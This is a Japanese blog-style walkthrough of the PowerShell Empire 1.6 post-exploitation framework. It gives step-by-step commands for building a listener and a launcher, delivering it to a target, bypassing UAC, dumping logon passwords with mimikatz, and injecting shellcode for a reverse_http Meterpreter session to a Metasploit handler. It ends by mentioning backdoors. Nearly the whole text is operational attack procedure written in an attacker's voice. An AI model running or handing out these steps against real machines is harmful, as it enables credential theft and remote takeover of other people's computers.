top of page

​(スクリーンショットは、時間があるときに貼り付けます。希望の方は、コメントを入れていただければ急ぎます。))

最新バージョンは2.6です。2.0からコマンド体系が変更されたようなのですが、

今回はバージョン1.6を以下のリンクからダウンロードして利用しました。

 Wget https://github.com/EmpireProject/Empire/archive/1.6.zip

Unzip 1.6.zip

 

展開したディレクトリのsetupにあるinstall.shを実行してインストールします。

 

1.

展開したディレクトリにempire実行ファイルがあるのでそれを起動します。

 ./empire

 

起動画面

 

 

2.

大きな流れは以下の通り。

1.Listener

2.launcher

3.launcherPhishing

4.agentinteractive

5.Interactive

A)

B)Metasploit

 

まず以下のコマンドでリスナーモードに切り替えます。

> listeners

 

 

Infoコマンドで必要なオプションを確認し、待ち受けるための設定を完了します。

 

 

以下のコマンドでListenerを起動します。

> execute

 

 Listenerの情報を確認する。

> list

 

  1. Launcherの作成

このLauncherを攻撃対象のクライアント上で実行させることで、リモートアクセスを奪うことが可能になります。Empire, マクロ、バッチファイルなど複数種類のlauncherを作成することが可能です。

> usestager <tab>で選択できるオプションの一覧を確認することができます。

 

 

Usestager launcher_vbs

Set Listener test

Generate でlauncherを作成します。

 

SimpleHTTPServerを利用してターゲットにデリバーします。

python-m SimpleHTTPServer 80

 

 

本書では動作を説明するため攻撃対象にLauncherを隠ぺいして実行させる手法については割愛し、単にPowerShellを書き出し対象クライアントで実行します。

 

 > launcher test(testはリスナーの名前)

でPowerShellのコードを生成。これを攻撃対象のクライアント上のコマンドプロンプトで実行します。

 

続けて、Empireのコンソール側で以下のように接続が始まった旨が表示されます。

 

 

 

  1. 接続してきたagentにinteractiveする。

 

 

以下のコマンドで、リスナーに接続されているagent(端末)を確認します。

> agents

 

以下のコマンドで攻撃対象のagentに対話接続します。

> interact <Agentname>

 

この段階で、攻撃対象のクライアントに対するリモートアクセスを奪うことに成功しました。

まずはinfoコマンドで攻撃対象の情報を確認します。

> info

 

内部のIPアドレス、ホスト名、OSバージョン、ログオンしているユーザー名を確認することができます。

次に、mimikatzモジュールを使ってパスワードを奪取します。

Mimikatzモジュールによる攻撃ではUACをbypassする必要があるので以下のモジュールでエージェントを追加します。

> usemodule privesc/bypassuac

> info

 

ここではリスナーの指定がTrueとなっていて必須項目なので、適宜リスナーを指定して実行します。

> set Listener test
> execute
 [>] Module is not opsec safe, run? [y/N] y

 

Jobが始まり、1分程度実行した後で、新たなagentが追加されます。

 

 

Agentsコマンドで接続されているエージェントを確認すると、上記のコマンドで追加されたエージェントが表示され、Usernameに「*」が付加されていることが確認できます。

 

新しいエージェントにinteractします。

> interact <新agent名>

> info

 

IPアドレス、ホスト名などから同じ端末であること、一番下の項目「high_integrity」が0から1に変更されていることを確認します。

この状態でmimikazのモジュールを実行します。

> usemodule credentials/mimikatz/logonpasswords
> execute

 

Jobが始まり、1分程度でパスワードを奪取することができます。

 

見事に取れましたw

Username : Victim

Password : password

 

さらにMetasploitと連携してリモートアクセスを奪取しましょう。

攻撃対象のagentが接続している状態で以下を実行します。

 

次にmeterpreterとの接続に使用するリスナーを実行する。

> set Name meterpreter
> set Port 8888
> set Type meter
> execute

 

Listerモードで、listコマンドを実行し、Active listenerにmeterpreterが追加されていることを確認します。 

次にEmpireから攻撃対象のエージェントにinteractしmeterpreterをinjectionする準備を施します。

> interact <対象のagent名>

shellcodeをinjectしmeterpreterにリバース接続するように指定する。

> injectshellcode meterpreter

> info

 

設定情報を確認するとリバース接続用のIPアドレス、ポート番号、Payloadを設定する。 > set Lhost 192.168.1.100       (MetepreterのリスナーのIPアドレス)
> set Lport 8888                      (MetepreterのリスナーのIPアドレス)
> set Payload reverse_http       

 

既存のinteractive接続に対してペイロードを実行したらMetasploit側にペイロードを送り、「meterpreterリスナー」で待ち受けたポートで受け取るという手筈になっている

 

次にMetasploit側を設定します。

Msfconsoleを実行し、Metasploitを起動し、以下のコマンドを実行します。

msf > use exploit/multi/handler 
msf exploit(handler) > set payload windows/meterpreter/reverse_http
payload => windows/meterpreter/reverse_http
msf exploit(handler) > set LHOST 192.168.1.100
msf exploit(handler) > set LPORT 8888
msf exploit(handler) > set exitonsession false

 

Meterpreter側で待ち受けてリバース接続させ、接続先はEmpireで用意した「meterpreterリスナー」を指定します。

msf exploit(handler) > exploit -j

 

 

 

次にEmpireで実行

> execute

 

Empire側でJobが走りmeterpreter側でsessionが確立する。

 

 

 

これ以降、MetasploitのMeterpreterで攻撃対象のクライアントをリモート操作することが可能となります。

 バックドアを仕掛けたり、Metasploitにしか出回っていないようなコードを実行するために、上記の手順でEmpireのSessionをMeterpreterへ引き継ぐことが可能です。

bottom of page